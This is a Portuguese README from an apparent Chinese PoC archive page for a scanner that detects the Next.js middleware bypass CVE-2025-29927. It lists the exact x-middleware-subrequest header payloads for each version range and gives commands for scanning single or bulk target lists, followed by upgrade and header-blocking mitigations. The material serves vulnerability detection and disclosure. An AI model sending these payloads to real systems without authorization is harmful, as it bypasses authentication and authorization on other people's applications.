关联漏洞
介绍
# Scanner de Vulnerabilidade Middleware Subrequest do Next.js
Uma ferramenta robusta de prova de conceito (PoC) para detectar a vulnerabilidade de middleware do Next.js (CVE-2025-29927).
## Visão Geral
Esta ferramenta testa uma vulnerabilidade crítica em aplicações Next.js onde o cabeçalho `x-middleware-subrequest` pode ser usado para contornar verificações de segurança implementadas no middleware. O exploit envolve o envio de solicitações HTTP com cabeçalhos maliciosos específicos, variando conforme a versão do Next.js.
## Como Funciona o Exploit
De acordo com a pesquisa, existem diferentes payloads para diferentes versões do Next.js:
1. **Versões anteriores à 12.2**:
```
x-middleware-subrequest: pages/_middleware
```
2. **Versões a partir da 12.2**:
```
x-middleware-subrequest: middleware
```
ou
```
x-middleware-subrequest: src/middleware
```
(se a aplicação usar o diretório src)
3. **Versões mais recentes (como 15.x)**:
```
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
```
ou
```
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
```
Nossa PoC testa todos esses payloads automaticamente e reporta qual foi bem-sucedido.
## Funcionalidades
- Teste de um ou múltiplos alvos
- Escaneamento concorrente com multithreading
- Caminhos de requisição personalizáveis
- Teste automático de todos os payloads possíveis
- Saída detalhada e colorida no terminal
- Exportação de resultados em JSON
- Tratamento robusto de erros
- Detecção abrangente de vulnerabilidades
## Requisitos
- Python 3.7+
- Pacotes necessários:
- requests
- colorama
## Instalação
```bash
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025
# Instale os pacotes necessários
pip install -r requirements.txt
```
## Uso
```bash
python main.py -u https://exemplo.com # Testar uma única URL
python main.py -f alvos.txt # Testar múltiplas URLs de um arquivo
```
### Argumentos de Linha de Comando
| Opção | Descrição |
| ------ | ----------- |
| `-u, --url URL` | URL alvo para escanear |
| `-f, --file ARQUIVO` | Arquivo contendo múltiplas URLs para escanear (uma por linha) |
| `-p, --paths CAMINHOS` | Lista de caminhos para testar separados por vírgula (padrão: caminhos comuns) |
| `-t, --threads N` | Número de threads concorrentes (padrão: 5) |
| `-o, --output ARQUIVO` | Salvar resultados em arquivo JSON |
| `--timeout N` | Tempo limite da requisição em segundos (padrão: 10) |
### Exemplos
```bash
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com
# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15
# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
```
## Metodologia de Detecção
O scanner funciona através de:
1. Envio de uma requisição normal para o alvo
2. Envio de requisições com diferentes variações do cabeçalho `x-middleware-subrequest` conforme as versões do Next.js
3. Comparação das respostas para identificar indicadores de vulnerabilidade:
- Requisição normal bloqueada (4xx/5xx) mas requisição de exploit permitida (2xx)
- Diferença significativa no conteúdo da resposta
- Indicadores de bypass de autenticação/autorização
## Mitigação
Se você descobrir aplicações vulneráveis, aplique estas mitigações:
- Atualize para as versões 14.2.25 ou 15.2.3 ou posteriores do Next.js
- Implemente um middleware que bloqueie requisições com o cabeçalho `x-middleware-subrequest`
```typescript
export function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
```
文件快照
[4.0K] /data/pocs/8eedcf9f42d10d1bbebc11b2b0330f5d6cb313ce
├── [4.2K] main.py
├── [7.8K] output.py
├── [4.0K] __pycache__
│ ├── [ 12K] output.cpython-312.pyc
│ ├── [9.5K] scanner.cpython-312.pyc
│ └── [3.6K] utils.cpython-312.pyc
├── [4.0K] README.md
├── [ 33] requirements.txt
├── [ 13K] scanner.py
└── [2.7K] utils.py
1 directory, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。